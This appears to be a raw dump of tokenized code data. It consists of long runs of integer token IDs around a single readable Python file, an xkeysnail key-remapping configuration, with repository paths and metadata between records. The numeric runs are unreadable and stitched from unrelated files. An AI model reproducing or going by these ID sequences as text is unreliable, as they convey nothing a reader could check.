3132, 970, 2284, 13, 13, 1678, 15595, 353, 22729, 29889, 6004, 29911, 3137, 29898, 3069, 29922, 2974, 20455, 18877, 1170, 29892, 13, 462, 1669, 2011, 353, 29871, 29953, 29896, 29900, 29896, 29892, 13, 462, 1669, 18392, 2311, 29922, 29896, 29941, 29896, 29900, 29955, 29906, 29892, 13, 462, 1669, 3030, 29922, 8516, 29892, 13, 462, 1669, 1873, 29922, 8516, 29892, 13, 462, 1669, 2284, 1598, 29922, 8516, 29892, 13, 462, 1669, 1820, 2084, 29922, 2974, 2558, 2084, 29892, 13, 462, 1669, 2284, 2084, 29922, 2974, 20455, 2084, 29892, 13, 462, 1669, 5777, 1445, 2084, 29922, 4645, 26270, 1445, 2084, 29892, 29897, 13, 1678, 4974, 15595, 29889, 276, 3150, 580, 13, 1678, 4974, 15595, 29889, 2350, 1275, 6702, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 742, 29871, 29953, 29896, 29900, 29896, 29897, 13, 1678, 4974, 15595, 29889, 29872, 2350, 1275, 6702, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 742, 29871, 29953, 29896, 29900, 29896, 29897, 13, 13, 1678, 330, 2735, 353, 22729, 29889, 6004, 29911, 3137, 29898, 3069, 29922, 2974, 20455, 18877, 1170, 29892, 13, 462, 1669, 2011, 353, 29871, 29953, 29896, 29900, 29941, 29892, 13, 462, 1669, 18392, 2311, 29922, 29896, 29941, 29896, 29900, 29955, 29906, 29892, 13, 462, 1669, 3030, 29922, 8516, 29892, 13, 462, 1669, 1873, 29922, 8516, 29892, 13, 462, 1669, 2284, 1598, 29922, 8516, 29892, 13, 462, 1669, 1820, 2084, 29922, 2974, 2558, 2084, 29892, 13, 462, 1669, 2284, 2084, 29922, 2974, 20455, 2084, 29892, 13, 462, 1669, 5777, 1445, 2084, 29922, 4645, 26270, 1445, 2084, 29897, 13, 1678, 4974, 330, 2735, 29889, 276, 3150, 580, 13, 1678, 4974, 330, 2735, 29889, 2350, 1275, 6702, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 742, 29871, 29953, 29896, 29900, 29941, 29897, 13, 1678, 4974, 330, 2735, 29889, 29872, 2350, 1275, 6702, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 742, 29871, 29953, 29896, 29900, 29941, 29897, 13, 13, 1678, 396, 4645, 2558, 2084, 353, 8207, 7070, 29914, 29886, 1984, 29914, 29873, 3137, 29914, 6327, 29879, 29914, 4645, 29918, 1989, 29889, 29886, 331, 29915, 29871, 396, 1887, 3132, 2024, 1820, 13, 1678, 396, 4645, 20455, 2084, 353, 8207, 7070, 29914, 29886, 1984, 29914, 29873, 3137, 29914, 6327, 29879, 29914, 4645, 29918, 6327, 29889, 29886, 331, 29915, 29871, 396, 1887, 3132, 970, 2284, 13, 1678, 396, 2974, 26270, 1445, 2084, 353, 8207, 7070, 29914, 29886, 1984, 29914, 29873, 3137, 29914, 6327, 29879, 29914, 2974, 29889, 29886, 331, 29915, 396, 7592, 1923, 970, 2284, 13, 13, 1678, 3132, 2558, 2084, 353, 2284, 3972, 2084, 718, 8207, 4645, 29918, 1989, 29889, 29886, 331, 29915, 29871, 396, 1887, 3132, 2024, 1820, 13, 1678, 3132, 20455, 2084, 353, 2284, 3972, 2084, 718, 8207, 4645, 29918, 6327, 29889, 29886, 331, 29915, 29871, 396, 1887, 3132, 970, 2284, 13, 1678, 1923, 26270, 1445, 2084, 353, 2284, 3972, 2084, 718, 8207, 2974, 29889, 29886, 331, 29915, 396, 7592, 1923, 970, 2284, 13, 13, 1678, 3495, 353, 1923, 20455, 18877, 1170, 13, 1678, 2011, 353, 15595, 29889, 29872, 2350, 29961, 29896, 29962, 13, 1678, 21762, 353, 3132, 292, 29889, 4032, 29898, 9721, 2311, 29922, 29896, 29941, 29896, 29900, 29955, 29906, 29892, 13, 462, 3986, 3495, 978, 29922, 3069, 29892, 13, 462, 3986, 2011, 29922, 637, 29892, 13, 462, 3986, 337, 6915, 519, 29922, 5574, 29892, 13, 462, 3986, 11380, 2433, 991, 742, 13, 462, 3986, 2284, 287, 3069, 29922, 2974, 20455, 18877, 1170, 29892, 13, 462, 3986, 1820, 2084, 29922, 4645, 2558, 2084, 29892, 13, 462, 3986, 2284, 2084, 29922, 4645, 20455, 2084, 29892, 13, 462, 3986, 5777, 1445, 2084, 29922, 2974, 26270, 1445, 2084, 29892, 29897, 13, 13, 1678, 4974, 21762, 29889, 276, 3150, 580, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 16044, 287, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 18045, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 7582, 2696, 13, 13, 1678, 396, 29871, 2048, 2009, 13, 1678, 2009, 353, 9657, 4197, 877, 5696, 742, 318, 29915, 7194, 5477, 13, 462, 268, 6702, 2084, 742, 318, 29915, 29914, 8057, 29973, 978, 29922, 29888, 420, 5477, 13, 462, 268, 6702, 29939, 5085, 742, 9657, 25739, 13, 462, 268, 6702, 20777, 742, 318, 4907, 511, 13, 462, 268, 6702, 13662, 742, 9657, 4197, 877, 23965, 742, 525, 6214, 29914, 3126, 1495, 2314, 511, 13, 462, 268, 6702, 2587, 742, 6213, 511, 13, 462, 268, 2314, 13, 13, 1678, 21762, 29889, 24830, 29889, 4397, 29898, 3827, 29897, 13, 13, 1678, 1550, 313, 1333, 15595, 29889, 861, 267, 470, 21762, 29889, 24830, 470, 13, 965, 21762, 29889, 11958, 2801, 29889, 7508, 5824, 470, 451, 21762, 29889, 3636, 296, 29889, 2760, 1125, 13, 4706, 11187, 24735, 292, 3170, 29911, 3137, 29898, 2312, 29897, 13, 4706, 11187, 24735, 287, 3170, 29898, 4283, 29897, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 4706, 21762, 29889, 5509, 580, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 17697, 5824, 13, 1678, 4974, 451, 21762, 29889, 10685, 287, 13, 1678, 4974, 21762, 29889, 3636, 296, 29889, 2760, 13, 13, 1678, 4974, 7431, 29898, 3571, 29889, 26679, 267, 29897, 1275, 29871, 29896, 13, 1678, 2933, 353, 21762, 29889, 26679, 267, 29889, 7323, 1563, 580, 13, 1678, 4974, 2933, 1275, 11117, 3259, 2396, 313, 29896, 29892, 29871, 29896, 511, 13, 462, 4706, 525, 4882, 2396, 29871, 29906, 29900, 29900, 29892, 13, 462, 4706, 525, 23147, 2396, 525, 8949, 742, 13, 462, 4706, 525, 13662, 2396, 379, 919, 4197, 877, 3916, 29899, 6513, 742, 525, 29896, 29906, 29906, 5477, 6702, 3916, 29899, 1542, 742, 525, 6214, 29914, 3126, 5477, 6702, 2539, 742, 525, 1349, 29884, 29892, 29871, 29941, 29900, 319, 558, 29871, 29906, 29900, 29896, 29945, 29871, 29896, 29929, 29901, 29941, 29955, 29901, 29896, 29955, 402, 11490, 5477, 6702, 6004, 742, 525, 29902, 29877, 10967, 29889, 2997, 1495, 11724, 13, 462, 4706, 525, 2587, 2396, 7023, 2378, 29898, 29890, 29915, 6377, 3051, 1115, 1870, 29892, 376, 1972, 1115, 8853, 978, 1115, 376, 29888, 420, 10758, 376, 18248, 1115, 376, 1692, 29915, 13, 462, 462, 3986, 289, 29915, 29911, 613, 376, 2271, 1115, 376, 1124, 597, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29947, 29900, 29947, 29900, 29914, 8057, 29973, 978, 29922, 29888, 420, 613, 376, 627, 29875, 29915, 13, 462, 462, 3986, 289, 29915, 265, 1115, 1870, 29913, 5477, 13, 462, 4706, 525, 1272, 2396, 11117, 3051, 2396, 6213, 29892, 13, 462, 462, 525, 1972, 2396, 11117, 978, 2396, 525, 29888, 420, 16675, 13, 462, 462, 525, 18248, 2396, 525, 7194, 742, 13, 462, 462, 525, 2271, 2396, 525, 1124, 597, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29947, 29900, 29947, 29900, 29914, 8057, 29973, 978, 29922, 29888, 420, 742, 13, 462, 462, 525, 2467, 2396, 6213, 1118, 13, 462, 4706, 525, 3827, 2396, 11117, 3069, 2396, 525, 7640, 742, 13, 462, 462, 1678, 525, 637, 2396, 29871, 29953, 29896, 29900, 29941, 29892, 13, 462, 462, 1678, 525, 816, 2004, 2396, 525, 991, 742, 13, 462, 462, 1678, 525, 5696, 2396, 525, 7194, 742, 13, 462, 462, 1678, 525, 2084, 2396, 8207, 17886, 742, 13, 462, 462, 1678, 525, 20777, 2396, 15516, 13, 462, 462, 1678, 525, 29939, 5085, 2396, 11117, 978, 2396, 525, 29888, 420, 16675, 13, 462, 462, 1678, 525, 13662, 2396, 379, 919, 4197, 877, 23965, 742, 525, 6214, 29914, 3126, 1495, 11724, 13, 462, 462, 1678, 525, 2587, 2396, 289, 29915, 742, 13, 462, 462, 1678, 525, 1272, 2396, 6213, 29892, 13, 462, 462, 1678, 525, 29888, 5085, 2396, 6213, 1118, 13, 462, 4706, 525, 2704, 287, 2396, 7700, 29892, 13, 462, 4706, 525, 2704, 2396, 6213, 29892, 13, 462, 4706, 525, 17886, 29879, 2396, 518, 10998, 3259, 2396, 313, 29896, 29892, 29871, 29896, 511, 13, 462, 462, 539, 525, 4882, 2396, 29871, 29941, 29900, 29955, 29892, 13, 462, 462, 539, 525, 23147, 2396, 525, 5776, 1971, 653, 4367, 1088, 742, 13, 462, 462, 539, 525, 13662, 2396, 379, 919, 4197, 877, 3916, 29899, 1542, 742, 525, 726, 29914, 24595, 5477, 13, 462, 462, 462, 3986, 6702, 3916, 29899, 6513, 742, 525, 29900, 5477, 13, 462, 462, 462, 3986, 6702, 6638, 29899, 4809, 29899, 15930, 29899, 23182, 742, 525, 29930, 5477, 13, 462, 462, 462, 3986, 6702, 6508, 742, 525, 991, 597, 7640, 29901, 29953, 29896, 29900, 29941, 29914, 17886, 29973, 978, 29922, 29888, 420, 1495, 11724, 13, 462, 462, 539, 525, 2587, 2396, 7023, 2378, 29898, 29890, 4907, 511, 13, 462, 462, 539, 525, 1272, 2396, 6213, 29892, 13, 462, 462, 539, 525, 3827, 2396, 11117, 5696, 2396, 525, 7194, 742, 13, 462, 462, 462, 259, 525, 2084, 2396, 8207, 8057, 742, 13, 462, 462, 462, 259, 525, 29939, 5085, 2396, 11117, 978, 2396, 525, 29888, 420, 16675, 13, 462, 462, 462, 259, 525, 20777, 2396, 15516, 13, 462, 462, 462, 259, 525, 13662, 2396, 379, 919, 4197, 877, 23965, 742, 525, 6214, 29914, 3126, 1495, 11724, 13, 462, 462, 462, 259, 525, 2587, 2396, 289, 29915, 742, 13, 462, 462, 462, 259, 525, 3069, 2396, 525, 7640, 742, 13, 462, 462, 462, 259, 525, 637, 2396, 29871, 29953, 29896, 29900, 29896, 29892, 13, 462, 462, 462, 259, 525, 816, 2004, 2396, 525, 991, 742, 13, 462, 462, 462, 259, 525, 1272, 2396, 6213, 29892, 13, 462, 462, 462, 259, 525, 29888, 5085, 2396, 6213, 1118, 13, 462, 462, 539, 525, 2704, 287, 2396, 7700, 29892, 13, 462, 462, 539, 525, 2704, 2396, 6213, 6525, 29913, 13, 13, 13, 1678, 15595, 29889, 5358, 580, 13, 1678, 330, 2735, 29889, 5358, 580, 13, 1678, 21762, 29889, 5358, 580, 13, 13, 13, 1753, 1243, 29918, 18056, 442, 29918, 689, 7295, 13, 1678, 9995, 13, 1678, 4321, 6674, 442, 883, 363, 10729, 261, 13, 1678, 9995, 13, 1678, 3495, 353, 318, 29915, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29915, 13, 1678, 2011, 353, 29871, 29953, 29896, 29900, 29896, 13, 1678, 1158, 353, 318, 29915, 5438, 29915, 13, 1678, 2224, 353, 318, 29915, 29914, 8057, 29973, 978, 29922, 29888, 420, 29915, 13, 1678, 9066, 353, 9657, 4197, 29898, 29884, 29915, 23965, 742, 318, 29915, 6214, 29914, 3126, 5477, 13, 462, 268, 313, 29884, 29915, 3916, 29899, 1542, 742, 318, 29915, 18056, 442, 29914, 689, 29899, 1272, 1495, 2314, 13, 1678, 285, 5085, 353, 9657, 4197, 703, 726, 613, 29871, 376, 4013, 338, 278, 2834, 2053, 29876, 3112, 338, 278, 1900, 7790, 29876, 4968, 13, 462, 259, 4852, 1420, 613, 9872, 1420, 5299, 2587, 2565, 2587, 5299, 1420, 29958, 1159, 2314, 13, 1678, 2009, 353, 29871, 3132, 292, 29889, 3089, 261, 29898, 28988, 29922, 3069, 29892, 13, 462, 462, 2011, 29922, 637, 29892, 13, 462, 462, 1158, 29922, 5696, 29892, 13, 462, 462, 2224, 29922, 2084, 29892, 13, 462, 462, 9066, 29922, 13662, 29897, 13, 1678, 10191, 3744, 353, 2009, 29889, 276, 4282, 29898, 29888, 5085, 29922, 29888, 5085, 29897, 13, 13, 1678, 760, 353, 313, 29890, 29915, 3916, 29899, 4205, 3283, 29901, 883, 29899, 1272, 29936, 1024, 543, 726, 26732, 29878, 29905, 29876, 29915, 13, 9651, 289, 29915, 3916, 29899, 1542, 29901, 1426, 29914, 24595, 29936, 17425, 29922, 9420, 29899, 29947, 29905, 29878, 29905, 29876, 29905, 29878, 29905, 29876, 29915, 13, 9651, 289, 29915, 4013, 338, 278, 2834, 2053, 29876, 3112, 338, 278, 1900, 7790, 29876, 29905, 29878, 29905, 29876, 1495, 13, 1678, 4974, 760, 297, 10191, 3744, 13, 1678, 760, 353, 313, 29890, 29915, 3916, 29899, 4205, 3283, 29901, 883, 29899, 1272, 29936, 1024, 543, 1420, 26732, 29878, 29905, 29876, 29915, 13, 9651, 289, 29915, 3916, 29899, 1542, 29901, 1426, 29914, 24595, 29936, 17425, 29922, 9420, 29899, 29947, 29905, 29878, 29905, 29876, 29905, 29878, 29905, 29876, 29915, 13, 9651, 289, 29915, 29966, 1420, 5299, 2587, 2565, 2587, 5299, 1420, 14247, 29878, 29905, 29876, 1495, 13, 1678, 4974, 760, 297, 10191, 3744, 13, 1678, 4974, 2009, 29889, 2813, 29889, 27382, 2541, 3552, 29890, 29915, 5438, 847, 8057, 29973, 978, 29922, 29888, 420, 7331, 29914, 29896, 29889, 29896, 29905, 29878, 29905, 29876, 29915, 13, 462, 462, 1678, 289, 29915, 8514, 29901, 29871, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29953, 29896, 29900, 29896, 29905, 29878, 29905, 29876, 29915, 13, 462, 462, 1678, 289, 29915, 23965, 29899, 14934, 29901, 10110, 29905, 29878, 29905, 29876, 29915, 13, 462, 462, 1678, 289, 29915, 3916, 29899, 6513, 29901, 29871, 29941, 29906, 29945, 29905, 29878, 29905, 29876, 29915, 13, 462, 462, 1678, 289, 29915, 23965, 29901, 2280, 29914, 3126, 29905, 29878, 29905, 29876, 29915, 13, 462, 462, 1678, 289, 29915, 3916, 29899, 1542, 29901, 6674, 442, 29914, 689, 29899, 1272, 29936, 10452, 2433, 876, 13, 13, 13, 1753, 1243, 29918, 1972, 29918, 339, 11427, 7295, 13, 1678, 9995, 13, 1678, 4321, 946, 4540, 363, 13755, 322, 337, 465, 1590, 1847, 2346, 13, 1678, 9995, 13, 1678, 4423, 353, 6702, 991, 29995, 29941, 29909, 29995, 29906, 29943, 29995, 29906, 29943, 2754, 29889, 24946, 29889, 510, 29995, 29906, 29943, 29896, 29889, 29896, 29995, 29906, 29943, 10149, 29995, 29906, 29943, 27902, 29918, 11944, 9409, 29889, 3126, 29915, 13, 18884, 525, 29973, 23106, 29918, 25978, 261, 29918, 1989, 29922, 29966, 10818, 16299, 13, 18884, 525, 29987, 23106, 29918, 5464, 346, 29922, 774, 29953, 29896, 29953, 1725, 29900, 29906, 29900, 29900, 29946, 29900, 29900, 29900, 29915, 13, 18884, 525, 29987, 23106, 29918, 4530, 1535, 29918, 5696, 29922, 29950, 1529, 29907, 29899, 23498, 29896, 29915, 13, 18884, 525, 29987, 23106, 29918, 16394, 29922, 29896, 29946, 29941, 29955, 29945, 29947, 29900, 29946, 29896, 29906, 29915, 13, 18884, 525, 29987, 23106, 29918, 6979, 29922, 29966, 10818, 16299, 13, 18884, 525, 29987, 23106, 29918, 3259, 29922, 29896, 29889, 29900, 29915, 13, 18884, 525, 29987, 23106, 29918, 4530, 1535, 29922, 26067, 29928, 29941, 29928, 29881, 29940, 29963, 29999, 29933, 29926, 29891, 29949, 29881, 29900, 29888, 29939, 29984, 29929, 29990, 29896, 29955, 547, 29995, 29941, 29928, 1495, 13, 1678, 2224, 29892, 16345, 29892, 2346, 353, 4423, 29889, 16707, 877, 29973, 1495, 13, 1678, 2224, 353, 443, 1396, 29898, 2084, 29897, 13, 1678, 565, 16345, 29901, 13, 4706, 4423, 353, 16345, 29889, 7122, 4197, 2084, 29892, 2346, 2314, 13, 1678, 1683, 29901, 13, 4706, 4423, 353, 2224, 13, 13, 1678, 4974, 4423, 1275, 6702, 991, 597, 2754, 29889, 24946, 29889, 510, 29914, 29896, 29889, 29896, 29914, 10149, 29914, 27902, 29918, 11944, 9409, 29889, 3126, 29915, 13, 462, 4706, 525, 29973, 23106, 29918, 25978, 261, 29918, 1989, 29922, 29966, 10818, 16299, 13, 462, 4706, 525, 29987, 23106, 29918, 5464, 346, 29922, 774, 29953, 29896, 29953, 1725, 29900, 29906, 29900, 29900, 29946, 29900, 29900, 29900, 29915, 13, 462, 4706, 525, 29987, 23106, 29918, 4530, 1535, 29918, 5696, 29922, 29950, 1529, 29907, 29899, 23498, 29896, 29915, 13, 462, 4706, 525, 29987, 23106, 29918, 16394, 29922, 29896, 29946, 29941, 29955, 29945, 29947, 29900, 29946, 29896, 29906, 29915, 13, 462, 4706, 525, 29987, 23106, 29918, 6979, 29922, 29966, 10818, 16299, 13, 462, 4706, 525, 29987, 23106, 29918, 3259, 29922, 29896, 29889, 29900, 29915, 13, 462, 4706, 525, 29987, 23106, 29918, 4530, 1535, 29922, 26067, 29928, 29941, 29928, 29881, 29940, 29963, 29999, 29933, 29926, 29891, 29949, 29881, 29900, 29888, 29939, 29984, 29929, 29990, 29896, 29955, 547, 29995, 29941, 29928, 1495, 13, 13, 1678, 8536, 1169, 353, 3142, 5451, 29898, 5479, 29897, 13, 1678, 2346, 353, 8536, 1169, 29889, 1972, 13, 1678, 4974, 2346, 1275, 6702, 23106, 29918, 25978, 261, 29918, 1989, 29922, 29966, 10818, 16299, 13, 462, 268, 525, 29987, 23106, 29918, 5464, 346, 29922, 774, 29953, 29896, 29953, 1725, 29900, 29906, 29900, 29900, 29946, 29900, 29900, 29900, 29915, 13, 462, 268, 525, 29987, 23106, 29918, 4530, 1535, 29918, 5696, 29922, 29950, 1529, 29907, 29899, 23498, 29896, 29915, 13, 462, 268, 525, 29987, 23106, 29918, 16394, 29922, 29896, 29946, 29941, 29955, 29945, 29947, 29900, 29946, 29896, 29906, 29915, 13, 462, 268, 525, 29987, 23106, 29918, 6979, 29922, 29966, 10818, 16299, 13, 462, 268, 525, 29987, 23106, 29918, 3259, 29922, 29896, 29889, 29900, 29915, 13, 462, 268, 525, 29987, 23106, 29918, 4530, 1535, 29922, 26067, 29928, 29941, 29928, 29881, 29940, 29963, 29999, 29933, 29926, 29891, 29949, 29881, 29900, 29888, 29939, 29984, 29929, 29990, 29896, 29955, 547, 29995, 29941, 29928, 1495, 13, 1678, 2346, 29903, 572, 1169, 353, 2346, 29889, 5451, 877, 29987, 1495, 13, 1678, 4974, 2346, 29903, 572, 1169, 1275, 6024, 23106, 29918, 25978, 261, 29918, 1989, 29922, 29966, 10818, 29958, 742, 13, 462, 462, 1678, 525, 23106, 29918, 5464, 346, 29922, 774, 29953, 29896, 29953, 1725, 29900, 29906, 29900, 29900, 29946, 29900, 29900, 29900, 742, 13, 462, 462, 1678, 525, 23106, 29918, 4530, 1535, 29918, 5696, 29922, 29950, 1529, 29907, 29899, 23498, 29896, 742, 13, 462, 462, 1678, 525, 23106, 29918, 16394, 29922, 29896, 29946, 29941, 29955, 29945, 29947, 29900, 29946, 29896, 29906, 742, 13, 462, 462, 1678, 525, 23106, 29918, 6979, 29922, 29966, 10818, 29958, 19988, 29884, 29940, 29900, 433, 29903, 29939, 29928, 29946, 29894, 29916, 29907, 29890, 29906, 29933, 29955, 29916, 29882, 29953, 29906, 29979, 29928, 742, 13, 462, 462, 1678, 525, 23106, 29918, 3259, 29922, 29896, 29889, 29900, 742, 13, 462, 462, 1678, 525, 23106, 29918, 4530, 1535, 29922, 26067, 29928, 29941, 29928, 29881, 29940, 29963, 29999, 29933, 29926, 29891, 29949, 29881, 29900, 29888, 29939, 29984, 29929, 29990, 29896, 29955, 547, 29995, 29941, 29928, 2033, 13, 1678, 3855, 5085, 353, 9657, 580, 13, 1678, 363, 2346, 7439, 297, 2346, 29903, 572, 1169, 29901, 29871, 396, 445, 28057, 20955, 1584, 565, 7429, 13, 4706, 565, 2346, 7439, 29901, 13, 9651, 565, 525, 2433, 297, 2346, 7439, 29901, 13, 18884, 1820, 29892, 659, 353, 2346, 7439, 29889, 5451, 877, 29922, 742, 29871, 29896, 29897, 13, 18884, 659, 353, 443, 1396, 29898, 791, 29897, 13, 9651, 1683, 29901, 13, 18884, 1820, 353, 2346, 7439, 13, 18884, 659, 353, 5852, 13, 9651, 3855, 5085, 29961, 1989, 29962, 353, 659, 13, 13, 1678, 4974, 3855, 5085, 1275, 11117, 23106, 29918, 25978, 261, 29918, 1989, 2396, 318, 29915, 29966, 10818, 29958, 742, 13, 462, 632, 525, 23106, 29918, 5464, 346, 2396, 318, 29915, 774, 29953, 29896, 29953, 1725, 29900, 29906, 29900, 29900, 29946, 29900, 29900, 29900, 742, 13, 462, 632, 525, 23106, 29918, 4530, 1535, 29918, 5696, 2396, 318, 29915, 29950, 1529, 29907, 29899, 23498, 29896, 742, 13, 462, 632, 525, 23106, 29918, 16394, 2396, 318, 29915, 29896, 29946, 29941, 29955, 29945, 29947, 29900, 29946, 29896, 29906, 742, 13, 462, 632, 525, 23106, 29918, 6979, 2396, 318, 29915, 29966, 10818, 29958, 742, 13, 462, 632, 525, 23106, 29918, 3259, 2396, 318, 29915, 29896, 29889, 29900, 742, 13, 462, 632, 525, 23106, 29918, 4530, 1535, 2396, 318, 29915, 26067, 29928, 29941, 29928, 29881, 29940, 29963, 29999, 29933, 29926, 29891, 29949, 29881, 29900, 29888, 29939, 29984, 29929, 29990, 29896, 29955, 547, 2433, 29913, 13, 1678, 3855, 1191, 29925, 5708, 353, 6796, 29912, 29900, 29913, 3790, 29896, 29913, 1642, 4830, 29898, 1989, 29892, 14978, 29918, 11242, 29898, 710, 29898, 791, 4961, 13, 462, 363, 1820, 29892, 659, 297, 3855, 5085, 29889, 7076, 580, 29962, 13, 1678, 716, 3010, 353, 525, 29987, 4286, 7122, 29898, 29939, 1191, 29925, 5708, 29897, 13, 1678, 4974, 716, 3010, 1275, 6702, 23106, 29918, 25978, 261, 29918, 1989, 29922, 29966, 10818, 16299, 13, 462, 4706, 525, 29987, 23106, 29918, 5464, 346, 29922, 774, 29953, 29896, 29953, 1725, 29900, 29906, 29900, 29900, 29946, 29900, 29900, 29900, 29915, 13, 462, 4706, 525, 29987, 23106, 29918, 4530, 1535, 29918, 5696, 29922, 29950, 1529, 29907, 29899, 23498, 29896, 29915, 13, 462, 4706, 525, 29987, 23106, 29918, 16394, 29922, 29896, 29946, 29941, 29955, 29945, 29947, 29900, 29946, 29896, 29906, 29915, 13, 462, 4706, 525, 29987, 23106, 29918, 6979, 29922, 29966, 10818, 16299, 13, 462, 4706, 525, 29987, 23106, 29918, 3259, 29922, 29896, 29889, 29900, 29915, 13, 462, 4706, 525, 29987, 23106, 29918, 4530, 1535, 29922, 26067, 29928, 29941, 29928, 29881, 29940, 29963, 29999, 29933, 29926, 29891, 29949, 29881, 29900, 29888, 29939, 29984, 29929, 29990, 29896, 29955, 547, 29995, 29941, 29928, 1495, 13, 13, 13, 13, 361, 4770, 978, 1649, 1275, 525, 1649, 3396, 1649, 2396, 13, 1678, 1243, 29918, 1972, 29918, 339, 11427, 580, 13, 2 ]
xkeysnail/.xkeysnail/config.py
tomato-300yen/dotfiles
0
176692
import re from xkeysnail.transform import K, define_keymap, set_mark, with_mark define_keymap( lambda wm_class: wm_class not in ("Gnome-terminal", "Alacritty", "kitty"), { # cousor K("LC-A"): with_mark(K("home")), K("LC-E"): with_mark(K("end")), K("LC-P"): K("UP"), K("LC-N"): K("DOWN"), K("LC-F"): K("RIGHT"), K("LC-B"): K("LEFT"), K("LC-H"): K("BACKSPACE"), K("LC-D"): [K("delete"), set_mark(False)], K("LC-K"): [K("Shift-end"), K("C-x"), set_mark(False)], # restore original bind K("Shift-LC-A"): K("LC-A"), K("Shift-LC-E"): K("LC-E"), K("Shift-LC-P"): K("LC-P"), K("Shift-LC-N"): K("LC-N"), K("Shift-LC-F"): K("LC-F"), K("Shift-LC-B"): K("LC-B"), K("Shift-LC-H"): K("LC-H"), K("Shift-LC-D"): K("LC-D"), K("Shift-LC-K"): K("LC-K"), # Backslash # K("YEN"): K("BACKSLASH"), }, "NotInTerminal", ) define_keymap( re.compile("Gnome-terminal"), { # K("SEMICOLON"): K("LShift-SEMICOLON-LShift"), # K("LShift-SEMICOLON"): K("SEMICOLON"), # K("YEN"): K("BACKSLASH"), }, "terminal", )
[ 1, 1053, 337, 13, 13, 3166, 921, 8149, 29876, 737, 29889, 9067, 1053, 476, 29892, 4529, 29918, 446, 962, 481, 29892, 731, 29918, 3502, 29892, 411, 29918, 3502, 13, 13, 7922, 29918, 446, 962, 481, 29898, 13, 1678, 14013, 281, 29885, 29918, 1990, 29901, 281, 29885, 29918, 1990, 451, 297, 4852, 29954, 25155, 29899, 8489, 979, 613, 376, 29909, 4620, 768, 1017, 613, 376, 29895, 986, 29891, 4968, 13, 1678, 426, 13, 4706, 396, 274, 681, 272, 13, 4706, 476, 703, 12182, 29899, 29909, 29908, 1125, 411, 29918, 3502, 29898, 29968, 703, 5184, 1159, 511, 13, 4706, 476, 703, 12182, 29899, 29923, 29908, 1125, 411, 29918, 3502, 29898, 29968, 703, 355, 1159, 511, 13, 4706, 476, 703, 12182, 29899, 29925, 29908, 1125, 476, 703, 4897, 4968, 13, 4706, 476, 703, 12182, 29899, 29940, 29908, 1125, 476, 703, 3970, 16048, 4968, 13, 4706, 476, 703, 12182, 29899, 29943, 29908, 1125, 476, 703, 22789, 3912, 4968, 13, 4706, 476, 703, 12182, 29899, 29933, 29908, 1125, 476, 703, 28024, 4968, 13, 4706, 476, 703, 12182, 29899, 29950, 29908, 1125, 476, 703, 29933, 11375, 5550, 11538, 4968, 13, 4706, 476, 703, 12182, 29899, 29928, 29908, 1125, 518, 29968, 703, 8143, 4968, 731, 29918, 3502, 29898, 8824, 29897, 1402, 13, 4706, 476, 703, 12182, 29899, 29968, 29908, 1125, 518, 29968, 703, 29657, 29899, 355, 4968, 476, 703, 29907, 29899, 29916, 4968, 731, 29918, 3502, 29898, 8824, 29897, 1402, 13, 4706, 396, 17749, 2441, 7868, 13, 4706, 476, 703, 29657, 29899, 12182, 29899, 29909, 29908, 1125, 476, 703, 12182, 29899, 29909, 4968, 13, 4706, 476, 703, 29657, 29899, 12182, 29899, 29923, 29908, 1125, 476, 703, 12182, 29899, 29923, 4968, 13, 4706, 476, 703, 29657, 29899, 12182, 29899, 29925, 29908, 1125, 476, 703, 12182, 29899, 29925, 4968, 13, 4706, 476, 703, 29657, 29899, 12182, 29899, 29940, 29908, 1125, 476, 703, 12182, 29899, 29940, 4968, 13, 4706, 476, 703, 29657, 29899, 12182, 29899, 29943, 29908, 1125, 476, 703, 12182, 29899, 29943, 4968, 13, 4706, 476, 703, 29657, 29899, 12182, 29899, 29933, 29908, 1125, 476, 703, 12182, 29899, 29933, 4968, 13, 4706, 476, 703, 29657, 29899, 12182, 29899, 29950, 29908, 1125, 476, 703, 12182, 29899, 29950, 4968, 13, 4706, 476, 703, 29657, 29899, 12182, 29899, 29928, 29908, 1125, 476, 703, 12182, 29899, 29928, 4968, 13, 4706, 476, 703, 29657, 29899, 12182, 29899, 29968, 29908, 1125, 476, 703, 12182, 29899, 29968, 4968, 13, 4706, 396, 7437, 17057, 13, 4706, 396, 476, 703, 29979, 1430, 29908, 1125, 476, 703, 29933, 11375, 12750, 24943, 4968, 13, 1678, 2981, 13, 1678, 376, 3664, 797, 14343, 979, 613, 13, 29897, 13, 13, 7922, 29918, 446, 962, 481, 29898, 13, 1678, 337, 29889, 12198, 703, 29954, 25155, 29899, 8489, 979, 4968, 13, 1678, 426, 13, 4706, 396, 476, 703, 1660, 29924, 2965, 5607, 1164, 29908, 1125, 476, 703, 29931, 29657, 29899, 1660, 29924, 2965, 5607, 1164, 29899, 29931, 29657, 4968, 13, 4706, 396, 476, 703, 29931, 29657, 29899, 1660, 29924, 2965, 5607, 1164, 29908, 1125, 476, 703, 1660, 29924, 2965, 5607, 1164, 4968, 13, 4706, 396, 476, 703, 29979, 1430, 29908, 1125, 476, 703, 29933, 11375, 12750, 24943, 4968, 13, 1678, 2981, 13, 1678, 376, 8489, 979, 613, 13, 29897, 13, 2 ]
FinanceDicBuilder/DicBuilder.py
dukechain2333/Finance-Text-Analysis-System
2
26227
